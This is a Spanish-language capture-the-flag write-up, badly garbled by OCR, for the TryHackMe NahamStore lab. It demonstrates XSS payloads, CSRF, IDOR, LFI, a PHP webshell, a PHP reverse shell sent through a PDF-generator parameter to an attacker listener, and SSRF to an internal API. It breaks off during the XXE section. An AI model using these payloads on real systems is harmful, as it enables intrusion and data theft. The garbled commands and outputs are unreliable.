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O- Introduccion

CTF NahamStore que podemos encontrar en la plataforma Try Hack Me. De dificultad
media, pondremos en practica la busqueda y explotacion de maultiples vulnerabilidades
en una tienda online simulada.

1- Enumeracion

1.1.  NMAP

Comenzamos realizando un escaneo rapido de los puertos que tiene abiertos la maguina

victima.
kaligkali sudo nmap -p- --open -vwv -Pn -n --min-rate 2008 10.10.5.82
[sudo] password for kali:
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.92 ( https://nmap.org ) at 2022-11-29 14:08 EST
Initiating SYN Stealth Scan at 14:88
Scanning 10.10.5.82 [65535 ports]
Discovered open port 8@/tcp on 10.10.5.82
Discovered open port 22/tcp on 10.10.5.82
Discovered open port 8@00/tcp on 10.10.5.82
Completed SYN Stealth Scan at 14:08, 24.35s elapsed (65535 total ports)
Nmap scan report for 10.10.5.82
Host is up, received user-set (0.069s latency).
Scanned at 2022-11-29 14:08:02 EST for 24s
Not shown: 64928 closed tcp ports (reset), 604 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
22/tcp  open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
8000/tcp open http-alt syn-ack ttl 62

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 24.57 seconds

Raw packets sent: 70927 (3.121MB) | Rcvd: 68008 (2.720MB)
kaligkali

El siguiente paso sera realizar un escaneo méas en profundidad de los tres servicios
disponibles.

kaligkali sudo nmap -p22,80,8000 -sVC -vv -Pn -n 10.

PORT STATE SERVICE REASON VERSION

22/tcp  open ssh syn-ack ttl 63 OpenSSH 7.6pl Ubuntu 4ubuntu@.3 (Ubuntu Linux; protocol 2.0)

| ssh-hostkey:

| 2048 84:6e:52:ca:db:9e:df:@azae:b5:70:3d:07:d6:91:78 (RSA)

| ssh-rsa AAAAB3NzaClyc2EAAAADAQABAAABAQDK® FNLOGNTinnjUpwR1Y3Ls57cL02jAp3QRVFXOB+s+bPPk+m4duq9526gqagERl/ovdPsSITdiPXy2Qpf+aZI4ba2DvFWfvFzfh9Irx7rvzrojoiokuUwotoWmxhuo
DfVTT3S6LmuFW7 SAXVTADLNQI J4k8URMSWQjp j86u7 IdCEsIc126krLk2Nb7A3qoWal+KIwOUHORG/dhjD72X10t tvsEHG8LPfdEhPQQye fozVt0I5011Tc3cNVsz /wlnlLTavui2o0Xd/P9/4hIDiTe0IebSgvrTToyiiT
KH8CDet8cmzQDqpII6ICv: )]

| 256 1a:1d:db:ca:99:8a:64:b1:8b:10:df:a9:39: :5¢:d3 (ECDSA)

| ecdsa-sha2-nistp! yYNTYAAAATbm zdHAYNTYAAABBEC/YPu9Zsy /Gmg 2z +aleoHKA1L5FO8MgiyEaalrkDetgQr/XoRMysTeNkArvIPMDUL 20t Z3F57VBMKfgyd tBcOIA=
| 256 f6:36:16:b7 b:35:09:07:cb: :84:63:38 (ED25519)

| _ssh-ed25519 AAAAC3NzaC1lZDIINTESAAAAIPAicOmkn8riFCgaskLxn9QC7NdeGgobttFiaajllgec

80/tcp open http syn-ack ttl 63 nginx 1.14.0 (Ubuntu)

| _http-server-header: nginx/1.14.e (Ubuntu)

| http-methods:

_ Supported Methods: GET HEAD POST

| _http-title: NahamStore - Setup Your Hosts File

| _http-favicon: Unknown favicon MD5: ADD28677@309EEB6@C14F44BAACSEAGS

8000/tcp open http syn-ack ttl 62 nginx 1.18.0 (Ubuntu)

| _http-server-header: nginx/1.18.0 (Ubuntu)

| _http-open-proxy: Proxy might be redirecting requests

| http-methods:

_ Supported Methods: GET HEAD POST

| _http-title: Site doesn't have a title (text/html; charset=UTF-8).

| http-robots.txt: 1 disallowed entry

| _/admin

Service Info: 0S: Linux; CPE: cpe:/o:linux:linux_kernel
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https://tryhackme.com/

Tenemos tres servicios disponibles:

e Puerto 22 -> SSH -> OpenSSH 7.6pl
e Puerto 80 -> HTTP ->nginx 1.14.0
e Puerto 8000 -> HTTP -> nginx 1.18.0

1.1.  Enumeracion Web
Tenemos disponible dos servidores Web en los puertos 80 y 8000. Vamos a ver el

contenido en el navegador.

1.1.1. Puerto 80

NahamStore - Setup Your He X

O & 10.10.5.82

NahamStore
www.nahamstore.thm) and|nahamslorelr'm to

pointing to 10.10.5.82

If you're reading this you need to add
you

Nos indica que debemos afiadir los dominios www.nahamstore.thm y nahamstore.thm a
nuestro archivo /etc/hosts.

/home/kali/Desktop/nahamstore

"10.10.5 nahamstore.thm www.nahamstore.thm" /etc/hosts

Volvemos al navegador para ver el contenido de los dominios registrados.

NahamStore - Home X +

<« C @ O A nahamstore.thm

NahamStore Home  Retums  Logi Register

NahamStore

Get The latest NahamSec Merch

s raond

‘bugcrowd

@;‘n—!] I

Sticker Pack
$15.00

El dominio pertenece a una tienda online. Ambos dominios llevan al mismo sitio web.
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http://www.nahamstore.thm/

Los siguientes pasos serdn la enumeracion de subdominios y la enumeracion de
directorios. Comenzamos enumerando los subdominios. Para ello, vamos a utilizar la
herramienta assetfinder. Como indican en la Web de Try Hack Me, para realizar el
escaneo de subdominios, debemos cambiar .thm por .com (nahamstore.thm seria
nahamstore.com para realizar la busqueda.

/home /kali

assetfinder --subs-only nahamstore.com
nahamstore.com
nahamstore-2020.nahamstore.com
stock.nahamstore.com
www.nahamstore.com
nahamstore.com
www.nahamstore.com
shop.nahamstore.com

Cambiamos las extensiones .com por .thm vy los afiadimos al archivo /etc/hosts.

/home/kali

wfuzz.

nahamstore
Lists

/python3/dist-packages/wfuzz/__init 4: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work c
orrectly when fuzzing SSL sites. Check Wfuz ocumentation for more information.
e e e dededededededeodode dedededokodededododoiokekokododededodoiokokeokokoieoke ko dokoke ok ik ik ke iekekoke ke
* Wfuzz 3.1.0 - The Web Fuzzer *
e e e dededededededeodode dedededokodededododoiokekokododededodoiokokeokokoieoke ko dokoke ok ik ik ke iekekoke ke

Chars

194 Ch v

194 Ch “shop"

2025 ch "marketing"”
67 ch "stock"”

Podemos afadir un subdominio mas al archivo /etc/hosts

/home/kali

“ho "10.10.13.165 marketing.nahamstore.thm" /etc/host

Seguimos enumerando los directorios de los distintos subdominios encontrados. Paraello,
utilizamos la herramienta Dirsearch.
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https://github.com/maurosoria/dirsearch

/home/kali/Desktop/nahamstore

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads 0 Wordlist s
ize: 22 5

Dutput File: /root/.dirsearch/reports/nahamstore.thm/_22-11-29_15-25-53.txt
Error Log: /root/.dirsearch/logs/errors-22-11-29_15-25-53.log

arget: http:

[15:25:54] Starting:
e

/home/kali/Desktop/nahamstore
-u "http yck .nahamstore.thm" -

Extensions: php, jsp, html, js | HTTP method: GET | Threads 3 | Wordlist size:
Output File: /root/.dirsearch/reports/stock.nahamstore.thm/_22-11-29_16-87-39.txt
Error Log: /root/.dirsearch/logs/errors-22-11-29_16-07-39.log

Target:

/home/kali/Desktop/nahamstore
-u "http:// keting.nahamstore.thm"

Extensions: php, isp, ml, js HTTP method: GET | Threads: 30 | Wordlist size: 2.
putput File: /root/.dirsearch/reports/marketing.nahamstore.thm/_22-11-29_16-12-27.txt
Error Log: /root/.dirsearch/logs/errors-22-11-29_16-12-27.log
arget: http://marketing.nahamstore.thm/

27] starting:

10 - 3¢ -> /?error=Campaign+Not+Found

err ampaign+Not+Found
et ->  f?error=Campaign+Not+Found

Los otros 3 subdominios no devuelven ningun directorio. Nos centraremos en estos tres
subdominios a partir de este momento.

2- Vulnerabilidades

A continuacion pasamos a buscar y explotar las diferentes vulnerabilidades presentes en
el sitio nahamstore.thm.
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2.1. XSS

2.1.1. XSS subdominio marketing.nahamstore.thm

Durante la enumeracion del subdominio marketing.nahamstore.thm, encontramos
directorios que correspondian con campafias de marketing que nos devolvia un error si
no encontraba dicha campana.

Marketing Manager - Active

O & marketing.nahamstore.thm/?error=

Marketing Manager Campaigns

Active Campaigns

Campaign Name Date Started View
Pre Opening Interest 12/10/2020 18:23 “
Hoodie Giveaway 12/15/2020 10:16 ¢

Vamos a comprobar si podemos enviar una carga util XSS.

Request

T N

o]

ina

Hee B 0 =
GET /?error==script=alert("El+Hacker+Etico")=/script= HTTR/1.1

Host: marketing.nahamstore.thm

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/S.0 (Windows NT 10,0; Wing4; x64) AppleWebKit/537.36 (KHTML, like Gecko) C
Accept: text/s/html,application/xhtml+xml,applicationsxml;q=0.9,image/avif,image/webp,image/apng
Accept-Encoding: gzip, deflate

Accept-Language: en-US,en;g=0.9

Connection: close

D& (€)= [ search-.

Response

Raw Hex Render iy =

21

23

24
=

=div class="col-md-8 col-md-offset-2"=
=div class="alert alert-danger text-center" style="margin:0 100px O 1G0px"=
=g
=script=
alerti{"El Hacker Etico")
</script>
</p=
=fdiv=

<div class="panel panel-default" style="margin-top:20px"=

marketing.nahamstore.thm

marketing.nahamstore.thm says

El Hacker Etico

Active Campaigns

Campaign Name Date Started View
Pre Opening Interest 12/10/2020 18:23 “
Hoodie Giveaway 12/15/2020 10:16 &)
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2.1.2. Stored XSS via encabezado HTTP

Al realizar un pedido podemos observar que en los detalles del pedido se almacena el
User-Agent del usuario que realiza la compra.

Order Details

Order Id: 4

Order Date: 29/11/2022 23:02:22

User Agent: Mozilla/5.0 (Windows NT 10.0; Win64;
x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/96.0.4664.45 Safari/537.36

Vamos a realizar otro pedido pero en esta ocasion vamos a capturar la peticién con Burp
para cambiar el valor de User-Agent por una carga util XSS.

Request
Fretty IGELOM Hex BESE \N =

GET /account/orders/9 HTTR/1.1

Host: nahamstore.thm

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

Origin: http://nahamstore.thm

User-Agent: |=script=alert|"El Hacker Etico")=/script=]

Accept: text/html.application/xhtml+xml,application/xml;g=0.9,ima;
& Referer: http://nahamstore.thm/basket

9 Accept-Encoding: gzip, deflate

g W Ry

17 Arrant -l anAanane s an-lIS an =" 9

D& (€)= [search..

Response
Raw Hex Render BN ‘N =
=fdiv=
g1 =div=
User Agent:<=strong=
<script=
alert|{"EL Hacker Etico")
Jscript>
=/strong=
<fdiv=
92 =fdiv=
93 <fdive=

nahamstore.thm/a

nahamstore.thm says

El Hacker Etico
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2.1.3. XSS via etiqueta HTML

Al clicar sobre un producto de la pagina principal de la tienda, el nombre aparece en la
barra de busqueda como un pardmetro GET. Este parametro no controla el titulo pero se
inyecta en la etiqueta <title> (se muestra en la pestaiia de navegador).

NahamStore - elhackeretico >

< C @ O @A nahamstore.thm/product?id=2&name=elhackeretico

NahamStore

[ Sticker Pack|

Sticker Pack
$15.00
1ackeron
trust T ' Notonly do thes
A are proven o in¢
iicl: 2 OWd <‘ least 30%!

liscount Codi

f—‘] 1 @ tml‘ﬂ

Para crear la carga, cerraremos la etiqueta title, agregaremos la carga Gtil y volvemos a
afiadir otra etiqueta title de apertura.

NahamStore -

<« X (@ O & nahamstore.thm/proc &name=<[ti t>alert{"El Hacker Etic

@ nahamstore.thm

El Hacker Etico

2.1.4. XSS en funcién JavaScript

En la pagina principal de la tienda, buscamos un producto en “Search For Products”. Se
realiza una solicitud GET a /search-products?q=. Vamos a enviar una carga Util para
verificar.

=script=
var search = ''+alert("El Hacker Etico"]+'':
$.getl ' fsearch-products?g=' + search, function(respl{
ifi resp.length == 0 ){

$0 " product-list') . html({'=div class="text-center" style="margin:l0px"=No matching products found=/div="');




nahamstore.thm/sez

nahamstore.thm says

El Hacker Etico

2.1.5. XSS Stored via etiqueta HTML
Visitamos la seccion “Returns”. En el formulario, “Return Information™ es el Unico
parametro que refleja informacion.

=div=
<textarea class="form-control"=
Pruehas
=ftextarea=
<fdiv=

Vamos a probar una carga util para confirmar las sospechas.

=div=
<textarea class="form-control"=
=ftextarea=
=script=
alert("El Hacker Etico")
=fscript=
=textarea=
=/textarea=
= div=

nahamstore.thm/returns/97auth=45c48cce2e2d7fbdealafcs 6ad26

nahamstore.thm says

El Hacker Etico

Return Status

Return Information

Status:Awaiting Decision

Order Number:9
2.1.6. XSS Reflected via etiqueta H1
Ingresamos un directorio no valido en la barra de busqueda. El sitio refleja directamente
que la ruta ingresada no existe.
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Page Not Found

Sorry, we couldn't find felhackeretico anywhere

El texto “Page Not Found” estd en una etiqueta H1.

‘=div class="container" style="margin-top:128px
tbefore
hl class="text-center”=Page Not Found=/hl> = %0

p class="text-center"=5orry, we couldn't find felhackeretico anywhere<=/p

Vamos a aprovechar esto para intentar cargar una carga atil XSS.

nahamstore.thm t>alert 20Hacker%20Et

nahamstore.thm says

El Hacker Etico

Page Not Found

Sorry, we couldn't find /

2.2.  Open Redirect
Nos logamos en el sitio Web y procedemos a realizar un pedido cualquiera.

Shopping Basket

Product Cost

W  Sticker Pack $15.00

Total $15.00
Shipping Address

Please choose an address in your address book to send to

Pulsamos “Add Another Address” y vemos la siguiente URL.

nahamstore.thm)/z

ELHACKER
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Es un parametro de redireccion. Vamos a cambiar /basket por https://elhackeretico.com
y rellenamos el formulario para afadir otra direccion, y asi comprobar si se esta
ejecutando una vulnerabilidad Open Redirect.

nahamstore.thm/a

Al ejecutar, nos redirecciona a mi sitio Web.

2.3. CSRF

2.3.1. Formulario de cambio de contrasefa sin proteccion CSRF
La pagina de cambio de contrasefia no tiene ninguna proteccion CSRF.

CSRF PoC

Ejecutamos este codigo HTML y podremos cambiar el valor de la contrasefia existente
por el valor “password”.

Password has been updated

Change Account Password

Password:

2.3.2. Eliminar proteccién CSRF
El formulario para cambiar la direccion de correo electronico contiene un pardmetro
“csrf_protect”.

v =form method="post">
input hidden csrf protect eyJkYXRhIjolZX1TKMWMyVn1YMmx rSWpvMExDS jBhVzFsYzNSaGIYOWLPaU14d..
Z25hdHVy ZST6ImY30WF LNDAGNWY jNTIx0Tg4N2 IOMDEINmM=ZDEjZ2jIzInd=
b divel—</divs
wodive

=input class="form-control" name="change email" wvalue="pruebas@elhackeretico.io">

Vamos a eliminar la proteccion CSRF y a crear una PoC para comprabar si es vulnerable.
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https://elhackeretico.com/

CSRF PoC

Email Changed

Change Email Address

Email:

pruebas@elhackeretico.io

2.3.3. Proteccién CSRF débil

La pagina de desactivacion de la cuenta, hay una proteccion CSRF débil, que utiliza un
campo de entrada oculto. Al descifrar el valor del Token, vemos el valor la ID cifrada en
base64.

v =form method="post

input type="hidden" name="action™ wvalue="disable = 50
input type="hidden" name="csrf disable protect 'u'EIl.IE'

p=</p

/home/kali/Desktop/nahamstore

2.4. IDOR

2.4.1. Fuga de direcciones
Vamos a necesitar:

e Realizar un pedido
e Iralacesta
e Seleccionar la direccion de entrega.

Después de realizar esto, interceptaremos la peticién con Burp y obtendremos nuestra
identificacion de direccion.
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POST /basket HTTP/1.1

Host: nahamstore.thm

Content-Length: 12

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

Origin: http://nahamstore. thm

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla /5.0 (Windows NT 10.0; Win64; x64] AppleWebKit/537 .36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Accept: textshtml,application/xhtml+xml,application/xml:g=0.9,images/avif,inage /webp,inages/apng, ¥/*;g=0 8, application/sianed-exchange:v=h3ig=0.9
Referer: http://nahamstore.thm/basket

Accept -Encoding: gzip, deflate

Accept-Language: en-US,en;g=0.9

Cookie: session=589a44113ef609211d610b7962d1356b; token=0b4d1962409044ac2fo026f158609346

Connection: close

Enviamos la peticion de Repeater y modificamos el valor address_id.

POST /basket HTTR/1.1

Host: nahamstore. thm

Content-Length: 12

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

Origin: http://nahamstore.thm

Content-Type: application/x-www-form-urlencoded

User-aAgent: Mozilla/5.0 (windows NT 10,0: Wing4) x&54) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/956.0.4664.45 Safari/537.36

=div class="row"=>
=div class="col-md-&"=
<div class="panel panel-default"s
=div class="panel-heading"=

Accept: Shipping Address

text/html,application/xhtml+xml, application/xml:g=0.9, image/avif, image /webp,images/apng, */ <ft_|1"f>

#;q=0.8,application/signed-exchange;v=h3;q=0.9 93 <div class="panel-body">

Referer: http://nahamstore.thm/basket 94 =sirong= .

Accept -Encoding: gzip, deflate Mrs Rita Miles

Accept-Language: en-US,en;gq=0.9 =fstrong>

Cookie: session=589a44113ef609211d610bT7962d1356h; token=0b4d19624090445c2f9926f1586c9346 <br=

Connection: close 95 3914 Charles Street<br=>
Farmington Hills<br=

address_id=1 Michigan=<br=

Obtenemos la direccion de otro usuario de la tienda online.

13

2.5. LFI

Nos dirigimos a la tienda y abrimos una de las imagenes de los productos disponibles.
Observemos la URL.

store.thm

Con la herramienta Burp Intruder, vamos a realizar un ataque automatizado con una lista
de Payloads para explotar vulnerabilidades LFI. Después de un momento, obtenemos
resultados.

Request

Fretly [l Hex

GET jproductjpictureﬁfﬂe% RRV L SRRRY S SRREY I ERURY F RUURY J SURRY ) SRR -HETCJ’IJESSW‘] HTTP/1.1
Host: nahamstore.thm
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5. 0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4664.45 Safari/537.36

Accept: text/html,application/xhtml+xml, application/xml;g=0.9,image/avif, image /webp,image/apng, */%;gq=0.8,application/signed-exchange;v=b3:g=0.9
Accept-Encoding: gzip, deflate

Accept -Language: en-US,en;g=0.9

Cookie: session=589a44113ef609211d610b7962d1356b; token=0b4dl962409044ac2f9926f1586c9346

10 Fannectian: Flase

D €)=z [search..

SOV e W

@

w0

Response

Raw Hex Render \n =

HTTP/1.1 200 OK

Server: nginx/1.14.8@ (Ubuntu)

Date: Wed, 30 Nov 2022 21:17:49 GMT

Content-Type: text/html; charset=UTF-8

Connection: close

Set-Cookie: session=589244113=f609211d610b7962d1356b; expires=Wed, 30-Nov-2022 22:17:49 GMT; Max-Age=3600; path=/
Content-Length: 45

1
4
&

lenu not not have permission to view this 'Fl'le]
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Hemos encontrado una vulnerabilidad LFI pero no podemos acceder al archivo por falta
de privilegios de usuario.

2.6. RCE

2.6.1. RCE via Webshell
Recordamos que en el escaneo con NMAP inicial teniamos un puerto 8000. También nos
indicaba un directorio /admin. Vamos a ver en el navegador el contenido de esta Web.

Marketing Manager - Login %

<« C QO & 10.10.168.167

Marketing Manager Login

Login

Username:

Password:

Tenemos un inicio de sesion. Vamos a comprobar el codigo fuente en busca de
informacidn. Si esto no funciona, probaremos una pequefia fuerza bruta con credenciales
bésicas.

Las credenciales son admin:admin.

Llegamos al panel de administracion de las campafias del subdominio
maketing.nahamstore.thm.

Marketing Manager Dashboard

Active Campaigns

Campaign Name Date Started Actions
Pre Opening Interest 12/10/2020 18:23 Palin
Hoodie Giveaway 12/15/2020 10:16 0
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Edit Campaign

Campaign Details

Campaign Name:
Pre Opening Interest
Code:

<IDOCTYPE himl> |
<htm! lang="en">
<head>

=]

Podemos editar las campafas activas. Vemos que la campafia ejecuta cddigo. Vamos a
probar a enviar una reverse Shell. La Shell utilizada sera:

<?php system($_GET['cmd1]); 7=

Guardamos la actualizacion de la campafia, y la ejecutamos.

Active Campaigns

Campaign Name Date Started Actions
Pre Opening Interest 12/10/2020 18:23 ,/@‘\
Hoodie Giveaway 12/15/2020 10:16 i

marketing.nahamstore.thm/ *  +

O & marketing.nahamstore.thm/8d1952ba2b3c6dcd76236f090ab8642¢ cd=whoami

www-data |
Podemos ejecutar comandos de manera remota.

2.6.2. RCE via generador de facturas PDF
Segundo RCE conectado al numero de pedido cuando hacemos clic en el boton “PDF
Receipt”. Vamos a enviar una Reverse Shell a través del parametro id=.
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POST fpdf-generator HTTR/1.1

Host: nahamstore.thm

Content-Length: 158

Cache-Control: max-age=0

Upgrade-Insecure-Requests; 1

origin: http://nahamstore.thm

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (Windows MT 10.0; wing4; x&4) ApplewWebKit/537.36 (KHTML, like
Gecko) Chrome/56.0, 4664, 45 Satari/537. 36

Accept:

text/html, application/xhtml+xml, applicationsxml;g=0.9, image/avif,image /webp, image/apng, */
¥;0=0.8,application/signed-exchange;v=b3;q=0.9

Referer: http://nahamstore.thm/account/orders/s

Accept-Encoding: gzip, deflate

Accept-Language: en-US,en;g=0.9

Cookie; session=e02f835h7l70920250626a82ecebf7c9; token=hce483daz2f8269bd02793486a32fla7h
Connection: close

what=order&id=
541 php%20- rs20627% 24sock% 30Tsockopen% 28%22'10.18.59. 120 ' % 22% 2C4444% 25% 3Bexe c% 28% 22% 2Fb1n%
2Fsh% 20-1% 205 30 26 3% 205 3% 26 3% 20 2% 3B 2635 225 29% 36% 27)

Al mismo tiempo habilitamos un oyente en el puerto 4444.

/home/kali/Desktop/nahamstore
c -lvnp 4444
listening on [any] 4444 ...
connect to [10.18.59.120] from (UNKNOWN) [10.10.168.167] 40934
/bin/sh: @: can't access tty; job control turned off

$ pwd
/var/wewi/html/public
% whoami

Ya estariamos conectados al servidor Web objetivo.

Un archivo interesante que hemos encontrado es /etc/hosts, donde podemos ver mas
subdominios aparte de los encontrados en la enumeracién inicial y que pueden aportar
informacion adicional.
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$ cat /etc/hosts

127.0.0.1 localhost

3 localhost ip6-localhost ip6-loopback
fe@d::0 ip6-localnet

ffO@::0 ip6-mcastprefix

ff@2::1 ip6-allnodes

ff@2::2 ip6-allrouters

172.17.0.6 2431fe20a4bo

127.0.0.1 nahamstore.thm

127.0.0.1 www .nahamstore. thm

172.17.0.1 stock.nahamstore.thm
172.17.09.1 marketing.nahamstore.thm
172.17.08.1 shop.nahamstore.thm

172.17.0.1 nahamstore-2820.nahamstore. thm
172.17.0.1 nahamstore-2020-dev.nahamstore.thm
10.131.104.72  internal-api.nahamstore.thm

2.7. SSRF

2.7.1. Filtracion de tarjetas de crédito
Al comprar un producto, si pulsamos en consultar stock y capturamos la peticion,
obtenemos lo siguiente:

POST /stockcheck HTTR/1.1

Host: nahamstore.thm

Content-Length: 40

Accept: #/%

¥-Requested-With: XMLHttpRequest

User-Agent: Mozilla/s5.0 (Windows NT 10.0; Wing4; x54) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0,46564,45 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8

Origin: http://nahamstore.thm

Referer: http://nahamstore.thm/product 7id=2&name=Sticker+Pack

Accept-Encoding: gzip, deflate

Accept-Language: en-US,en;g=0.9

Cookie: session=e02f835h7170920250626a82ecEbf7c9; token=bced483dazfE265bd02793486a3211a7h
Connection: close

product_id=2&server=stock.nahamstore.thm

Recibimos la siguiente respuesta:
Response

Raw Hex Render =

HTTR/1.1 200 0K

! Server: nginx/l.14.0 (Ubuntu)

: Date: Wed, 30 MNov 2022 22:48:33 GMT

Content-Type: text/html: charset=UTF-8

, Connection: close

5 Set-Cookie: session=e@2f835b71709:0250626a82ecthT7c9; expires=Wed, 30-Nov-2022 23:48:33
GMT; Max-Age=36800; path=/

7 Content-Length: 42

o wm -

9 {"id":2, "name": "Sticker Pack","stock":293}

Si cambiamos el valor de server= por otro de los subdominios disponibles, nos devuelve
un error. Debemos mantener el subdominio stock.nahamstore.thm y buscar como eludir.

Vamos a probar con rutas internas (server=stock.nahamstore.thm@127.0.0.1)
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mailto:server=stock.nahamstore.thm@127.0.0.1

Request

Pretty IIII Hex lE' n =

POST fstockcheck HTTR/1.1

Host: nahamstore.thm

Content-Length: 50

Accept: #/%

¥-Requested-With: XMLHttpRequest

User-Agent: Mozilla/s5.0 (Windows MNT 10.0:; Wing4; x&4) AppleWsbKit /537,368 (KHTML, Llike
Gecko) Chrome/96.0,4664,45 Safari/537.36

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

Origin: http://nahamstore.thm

Referer: http://nahamstore.thm/product Pid=2&name=5Sticker+Pack

Accept-Encoding: gzip, deflate

Accept-Language: en-US,en;g=0.9

Cookie: session=e02f835h7170920250626a822c6hf7c9; token=hced483da2fB260kbd02793486a32f1a7b
Connection: close

[T R PV WO

= o
BWKHOWD-

—
un

product_id=2&server=stock.nahamstore.thm@27.0.0.1

NahamStore

Page Not Found

Sorry, we couldn't find /product/2 anywhere

Si afladimos #, nos devuelve a la pagina principal de nahamstore.thm.

18

Request

Bl 8 v
POST /stockcheck HTTP/1.1

Host: nahamstore.thm

Content-Length: 51

Accept: /¥

¥-Requested-With: XMLHttpRequest

User-Agent: Mozilla/5.0 (Windows MNT 10.0; Wing4; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/98.0.4664,45 Satari/537.36

Content-Type: application/x-www-form-urlencoded: charset=UTF-8

Origin: http://nahamstore.thm

Referer: http://nahamstore.thm/product ?id=2&name=Sticker+Pack

Accept -Encoding: gzip, deflate

Accept -Language: en-US,en;g=0.9

Cookie: session=e02f&835h7170920250626a82ec6bf7c9; token=bced483dazfE82659hd02793486a32f1a7b
Connection: close

Pretty

[« I [V S VR N

newhHow

product_id=2&server=stock.nahamstore.thm@l27.0.0.1#

NahamStore

Get The latest NahamSec Merch




Vamos a probar a cambiar 127.0.0.1 por el subdominio internal-api.nahamstore.thm, y

vemos resultados.

Request Response

Prett Gl Hex

n = Pretty Raw Hex =

POST /stockcheck HTTP/1.1 .
Content-Length: &3

Accept: */%

¥-Requested-With: XMLHttpRequest

User-Agent: Mozilla/5.0 (Windows MT 10.0; Wing4; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/96.0.4664.45 Safari/537.36

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

Origin: http://nahamstore. thm

Referer: http://nahamstore.thm/product ?id=2&name=Sticker+Pack

LO Accept-Encoding: gzip, deflate

L1 Accept-lLanguage: en-US,en;g=0.9

L2 Cookie: session=e02f835b7170920250626282:c6bf7c9; token=bce483daz2f8265bd02793486a32f1a7b
L2 Connection: close

L4

LS product_id=2&server=stock . nahamstore.thm@internal-api.nahamstore. thm#

LRSS

I*%)

)

Obtenemos un endpoint que puede ser interesante.

Request Response

Host: nahamstore.thm {"server”:"interna

l-api.nahamstore.com

Fretty EEEITM Hex B i = Pretty Raw Hex =

"o

POST /stockcheck HTTR/1.1

¥-Requested-With: ¥MLHttpRequest
User-aAgent: Mozilla/5.0 (Windows NT 10.0; Wing4: x64) AppleWebKit/S37.36 (KHTHL, like
Gecko) Chrome/96.0. 4664.45 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
& Origin: http://nahamstore.thm
9 Referer: http://nahamstore.thm/product ?id=2&name=Sticker+Pack
10 Accept-Encoding: gzip, deflate
11 Accept-Language: en-US, en:g=0.9
12 Cookie: session=e02f835h7170920250626a82ec6b7c9; token=bce483da2fe265hd027934862321a7h
13 Connection: close

[T AN

15 product_id=2&server=stock.nahamstore.thm@internal -api.nahamstore.thm/orders#

Afadimos cualquiera de las /orders disponibles a la peticion enviada.

Request

Pretty EEEYCE Hex W

1 POST fstockcheck HTTR/L.1

2 Host: nahamstore.thm

3 Content-Length: 109

4 Accept: #/#%

5 X-Requested-wWith: XMLHttpRequest
-

5 User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x64) ApplewWebkKit/537.36 (KHTML, like

Gecko) Chrome/96.0, 4664, 45 Safari/537.36

Content-Type: application/x-www-form-urlencoded; charset=UTF-8
2 origin: http://nahamstore.thm

2 Referer: http://nahamstore.thm/product 7id=2&name=Sticker+Pack
10 Accept-Encoding: gzip, deflate

11 Accept-Language: en-US,en;q=0.9

12 Cookie: session=e02f835b7170%2e0250626a82:c6bf7cd; token=hce483da2fe265bd02793486a3211a7h

13 Connection: close

15 product_id=2&server=

stock.nahamstore.thm@internal -api.nahamstore.thm/orde r‘s_,-‘4c||Jc51716426c|49f524e1€lc|443?a5f5]a#

8
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Hoot ' nahametare b [{"id":"4dbc51716426049f524¢10d4437a5f5a", "
Content-Length: 76 {"1d":"5ae19241b4b55a360e677fdd9084c21c", "endpoin
Accept: */% {"id":"70ac2193c8049fcea7101884{d4ef58e", "endpoint™:"\/ord

endpoint”:"Vor

,"endpoints™:["\orders"]}
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Response

Raw Hex Render n =

HTTP/1.1 200 OK

Server: nginx/1l.14.0 (Ubuntu)

Date: Wed, 30 Mov 2022 23:07:54 GMT

Content-Type: text/html; charset=UTF-8

Connection: close

Set -Cookie: session=e02fB835b71709:0250626a82ectbT7c9; expires=Thu, 0l-Dec-2022 00:07:54
GMT; Max-Age=3600; path=/

Content-Length: 386

[ IS N

2 {"id":"4dbc51716426d49f524e10d4437a5f5a", "customer® : {"1d":1, "name" : "Rita
Miles", "email":"rita.miles959@gmail .com", "tel":"816-719-7115", "address" :{"line_1":"3314
Charles Street","city":"Farmington
Hills", "state":"Michigan","zipcode":"48335"}, "items": [{"name": "Sticker
Pack", "cost":"15,00"}], "payment " :{"type": "Mastercard", "number": {5375118225350051" , "expire

¥ "cwvz":|elof 1t
Y tendriamos informacion sobre el usuario (nombre, email, tarjeta...)

2.8.  XXE
Vamos a consultar las existencias de un producto de los disponibles en al tienda.

/home/kali/Desktop/nahamstore

rl http://stock.nahamstore.thm/product/1
{"id":1,"name" : "Hoodie + Tee","stock":56}

Ahora probamos a cambiar el método GET por POST.

/home/kali/Desktop/nahamstore
rl -X POST http://stock.nahamstore.thm/product/1 ;Z(]
["Missing header X-Token"]

Se provoca un error por falta de un encabezado HTTP. Vamos a afiadir un valor de Token,
gue por supuesto no sera valido.

/home/kali/Desktop/nahamstore

curl -X POST 'http://stock.nahamstore.thm/product/1" -H 'X-Token: elhackeretico’
["X-Token elhackeretico is invalid"]

Al fuzzear la solicitud POST encontramos un error con la extensiéon XML.

Request

